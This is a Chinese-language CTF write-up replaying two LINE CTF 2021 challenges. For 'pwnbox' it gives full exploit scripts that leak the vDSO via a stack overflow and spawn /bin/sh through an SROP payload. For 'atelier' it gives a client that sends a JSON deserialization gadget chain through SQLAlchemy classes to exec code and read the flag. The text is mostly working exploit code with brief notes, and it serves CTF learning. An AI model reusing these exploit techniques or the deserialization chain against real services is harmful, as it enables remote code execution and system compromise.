2021LINECTF 复现笔记

一道题也没有做出来,赛后复现两道看过的。

pwnbox

一个非常小的binary栈溢出,什么都没有,没有libc,没有gadget,需要去vdso里找gadget。

涉及到rsp在栈和bss端之间来回地切换,还要去使用vdso中的gadget,首先需要泄露vdos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python

from pwn import *
context.log_level=logging.INFO
context.terminal=['tmux','new-window']
context.binary='./pwnbox'
LOCAL=0



while True:
offset = 0
with open("vdso.remote", "rb") as f:
offset = len(f.read())

print(hex(offset))

if LOCAL:
p=process('./pwnbox')
else:
p=remote('34.85.14.159',10004)


bss=0x402010
read_pivot=0x401046
write=0x401059

# input 1 onto stack
payload=b'A'*0x10+p64(bss)+p64(read_pivot)
if LOCAL:
payload=payload.ljust(0x118,b'A')
else:
payload=payload.ljust(0xd8,b'A')
p.sendafter("Login: ",payload)
p.recv(len(payload))
back=p.recv(len(payload))
addr_vdso=-1
for i in range(len(back) // 8):
addr=u64(back[i*8:(i+1)*8])
if addr>>(5*8) == 0x7f and addr&0xfff == 0:
addr_vdso = addr
break
assert addr_vdso>0
p.success('addr_vdso: '+hex(addr_vdso))
p.recvuntil('Succeeded\n')

# attach(p,'b *0x4010B6\n')

# input 2 onto bss
payload=b'B'*0x10+p64(addr_vdso+0x10+offset)+p64(write)
p.send(payload)
import time
time.sleep(0.5)
assert len(p.recv(len(payload)*2)) == len(payload)*2
assert len(p.recv(10)) == 10
vdso_dump=p.recv(20)
assert len(vdso_dump) == 20
p.success(b'vdso_dump: '+vdso_dump)
with open("vdso.remote", "ab") as f:
f.write(vdso_dump)
p.close()

本地调试的时候需要手动把vdso restore进来,本地调试的时候还要把read stdout改回read stdin。这一题是从stdout里读数据的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) restore ./remotedump 0x7ffd9c705000
Restoring section .hash (0x120 to 0x15c) into memory (0x7ffd9c705120 to 0x7ffd9c70515c)
Restoring section .gnu.hash (0x160 to 0x1a8) into memory (0x7ffd9c705160 to 0x7ffd9c7051a8)
Restoring section .dynsym (0x1a8 to 0x298) into memory (0x7ffd9c7051a8 to 0x7ffd9c705298)
Restoring section .dynstr (0x298 to 0x2f6) into memory (0x7ffd9c705298 to 0x7ffd9c7052f6)
Restoring section .gnu.version (0x2f6 to 0x30a) into memory (0x7ffd9c7052f6 to 0x7ffd9c70530a)
Restoring section .gnu.version_d (0x310 to 0x348) into memory (0x7ffd9c705310 to 0x7ffd9c705348)
Restoring section .dynamic (0x348 to 0x468) into memory (0x7ffd9c705348 to 0x7ffd9c705468)
Restoring section .rodata (0x468 to 0x7a8) into memory (0x7ffd9c705468 to 0x7ffd9c7057a8)
Restoring section .note (0x7a8 to 0x810) into memory (0x7ffd9c7057a8 to 0x7ffd9c705810)
Restoring section .eh_frame_hdr (0x810 to 0x84c) into memory (0x7ffd9c705810 to 0x7ffd9c70584c)
Restoring section .eh_frame (0x850 to 0x968) into memory (0x7ffd9c705850 to 0x7ffd9c705968)
Restoring section .text (0x970 to 0xf4a) into memory (0x7ffd9c705970 to 0x7ffd9c705f4a)
Restoring section .altinstructions (0xf4a to 0xfd9) into memory (0x7ffd9c705f4a to 0x7ffd9c705fd9)
Restoring section .altinstr_replacement (0xfd9 to 0xffb) into memory (0x7ffd9c705fd9 to 0x7ffd9c705ffb)

最后getshell是使用SROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/python

from pwn import *
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.binary='./pwnbox'
LOCAL=0

if LOCAL:
p=process('./pwnbox')
else:
p=remote('34.85.14.159',10004)


bss=0x402010
read_pivot=0x401046

# input 1 onto stack
payload=b'A'*0x10+p64(bss)+p64(read_pivot)
if LOCAL:
payload=payload.ljust(0x118,b'A')
else:
payload=payload.ljust(0xd8,b'A')
p.sendafter("Login: ",payload)
p.recv(len(payload))
back=p.recv(len(payload))

addr_vdso=-1
for i in range(len(back) // 8):
addr=u64(back[i*8:(i+1)*8])
if addr>>(5*8) == 0x7f and addr&0xfff == 0:
addr_vdso = addr
break
assert addr_vdso>0
p.success('addr_vdso: '+hex(addr_vdso))
p.recvuntil('Succeeded\n')


# input 2 onto bss
rop_xor_eax_eax_pop_rbp = addr_vdso + 0x0000000000000f46
rop_add_edx_1 = addr_vdso + 0xbe0
rop_syscall = 0x4010af

payload = b'/bin/sh\0' # 0x00
payload += p64(0x402000) # 0x08 rbx
payload += p64(0x402020 + 0x20) # 0x10 rbp
# origin rdx : 7
for i in range(1, 10):
payload += p64(rop_add_edx_1) # 0x18
payload += p64(0) # 0x20
payload += p64((1<<64)-1) # 0x28
payload += p64(0) * 2
payload += p64(0x402020 + 0x20 + i*0x30) # rbp
payload += p64(rop_xor_eax_eax_pop_rbp)
payload += p64(0x4021e0 - 0x10)
payload += p64(rop_syscall) # read + sigreturn
payload += b"AAAAAAAA" * 5
payload += flat([
0, 0, 0, 0, 0, 0, 0, 0,
0x402000, # rdi
0, # rsi
0, # rbp
0, # rbx
0, # edx
59, # rax
0, # rcx
0x402000, # rsp
rop_syscall, # rip
0, # eflags
0x33 # csgsfs
])
payload += b'AAAAAAAA' * 4
payload += p64(0)

# attach(p,'b *0x4010af\n')
# restore ./remotedump 0x7ffdb12af000
p.send(payload)
p.recv(len(payload)*2)
# if local, change fd of read from 1(stdout) to 0(stdin)
# remote reads from stdout
p.recv(7)
p.send(b'x'*15)
p.interactive()

atelier

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#!/usr/bin/env python3

import sys
import json
import asyncio
import importlib

class AtelierException:
def __init__(self, e):
self.message = repr(e)

class MaterialRequest:
pass

class MaterialRequestReply:
pass

class RecipeCreateRequest:
pass
# def __init__(self, materials):
# self.materials = materials

class RecipeCreateReply:
pass

def object_to_dict(c):
res = {}
res["__class__"] = str(c.__class__.__name__)
res["__module__"] = str(c.__module__)
res.update(c.__dict__)

if c.__class__.__name__ == 'RecipeCreateRequest':
res["materials"] = {
"__class__": "RandomSet",
"__module__": "sqlalchemy.testing.util",
"split": {
"__class__": "BooleanPredicate",
"__module__": "sqlalchemy.testing.exclusions",
"value": {
"__class__": "ConventionDict",
"__module__": "sqlalchemy.sql.naming", "convention": [],
"_key_0": {
"__class__": "_class_resolver",
"__module__": "sqlalchemy.ext.declarative.clsregistry",
"arg": "exec(\"raise Exception(open('flag').read())\")",
"_dict": {}
}
}
}
}

return res

def dict_to_object(d):
if "__class__" in d:
class_name = d.pop("__class__")
module_name = d.pop("__module__")
module = importlib.import_module(module_name)
class_ = getattr(module, class_name)

inst = class_.__new__(class_)
inst.__dict__.update(d)
else:
inst = d

return inst

async def rpc_client(message: MaterialRequest):
message: str = json.dumps(message, default=object_to_dict)
print(message)
reader, writer = await asyncio.open_connection(sys.argv[1], int(sys.argv[2]))
writer.write(message.encode())
data = await reader.read(2000)
writer.close()

print(data)

res = json.loads(data, object_hook=dict_to_object)
if isinstance(res, AtelierException):
print("Exception: " + res.message)
exit(1)

return res


loop = asyncio.get_event_loop()



# obj = RecipeCreateRequest()
# message = json.dumps(obj, default=object_to_dict, indent=4)
# print(message)

'''
{
"__class__": "RecipeCreateRequest",
"__module__": "__main__",
"materials": {
"__class__": "RecipeCreateRequest",
"__module__": "__main__",
"split": {
"__class__": "_FunctionGenerator",
"__module__": "sqlalchemy.sql.functions",
"opts": {
"__class__": "RecipeCreateRequest",
"__module__": "__main__",
"copy": {
"__class__": "_class_resolver",
"__module__": "sqlalchemy.ext.declarative.clsregistry",
"arg": "exec(\"raise Exception(open('flag').read())\")",
"_dict": {

}
}
}
}
}
}
'''
def create_dict():
res = {}
res["__class__"] = "RecipeCreateRequest"
res["__module__"] = "__main__"
res["materials"] = {
"__class__": "RecipeCreateRequest",
"__module__": "__main__",
"split": {
"__class__": "_FunctionGenerator",
"__module__": "sqlalchemy.sql.functions",
"opts": {
"__class__": "RecipeCreateRequest",
"__module__": "__main__",
"copy": {
"__class__": "_class_resolver",
"__module__": "sqlalchemy.ext.declarative.clsregistry",
"arg": "exec(\"raise Exception(open('flag').read())\")",
# "arg": "ls",
"_dict": {}
}
}
}
}
return res

async def m():
obj = create_dict()
message = json.dumps(obj, indent=4)
print(message)
reader, writer = await asyncio.open_connection('35.194.97.194', 10000)
writer.write(message.encode())
data = await reader.read(2000)
writer.close()
print(data.decode())

while True:
try:
loop.run_until_complete(m())
break
except KeyboardInterrupt as e:
break
except:
pass

loop.close()

tkmk说像fastjson的autotype,在反序列化的时候自动创建对象,技巧是魔术方法套娃。

比赛的时候在拿本机有的module字段去fuzz远程的module字段可取的值,结果发现只能是main,然后就不知道怎么做了,看wp才知道要sqlalchemy是可以做module字段的。